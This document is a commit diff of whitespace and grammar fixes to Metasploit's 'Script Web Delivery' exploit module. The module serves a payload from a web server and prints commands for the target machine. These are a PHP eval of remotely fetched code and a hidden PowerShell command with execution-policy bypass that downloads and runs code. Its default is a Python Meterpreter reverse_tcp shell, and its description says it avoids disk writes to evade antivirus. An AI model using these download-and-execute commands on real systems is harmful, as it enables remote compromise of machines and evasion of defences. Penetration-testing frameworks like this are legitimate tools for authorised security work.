Minor whitespace and grammar changes

Author: zeroSteiner

modules/exploits/multi/script/web_delivery.rb

@@ -12,35 +12,35 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'		 => 'Script Web Delivery',
-      'Description'	 => %q{
+      'Name'         => 'Script Web Delivery',
+      'Description'  => %q{
         This module quickly fires up a web server that serves a payload.
         The provided command will start the specified scripting language interpreter and then download and execute the
         payload. The main purpose of this module is to quickly establish a session on a target
         machine when the attacker has to manually type in the command himself, e.g. Command Injection,
         RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
-        write to disk so is less likely to trigger AV solutions and will allow privilege
+        write to disk so it is less likely to trigger AV solutions and will allow privilege
         escalations supplied by Meterpreter.
       },
-      'License'	 => MSF_LICENSE,
-      'Author'	 =>
+      'License'      => MSF_LICENSE,
+      'Author'       =>
         [
           'Andrew Smith "jakx" <[email protected]>',
           'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
           'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
         ],
       'DefaultOptions' =>
         {
-          'Payload' => 'python/meterpreter/reverse_tcp'
+          'Payload'    => 'python/meterpreter/reverse_tcp'
         },
-      'References'	 =>
+      'References'     =>
         [
           [ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
           [ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
           [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
           [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
         ],
-      'Platform'       => %w{ python php win},
+      'Platform'       => %w{python php win},
       'Targets'        =>
         [
           ['Python', {
@@ -62,8 +62,8 @@ def initialize(info = {})
         ],
       'DefaultTarget'  => 0,
       'DisclosureDate' => 'Jul 19 2013'
-       ))
-      end
+    ))
+  end
 
   def on_request_uri(cli, request)
     print_status("Delivering Payload")
@@ -78,7 +78,7 @@ def on_request_uri(cli, request)
   def primer
     url = get_uri()
     print_status("Run the following command on the target machine:")
-    case target.name 
+    case target.name
     when "PHP"
       print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
     when "Python"
@@ -88,4 +88,4 @@ def primer
       print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
     end
   end
- end
+end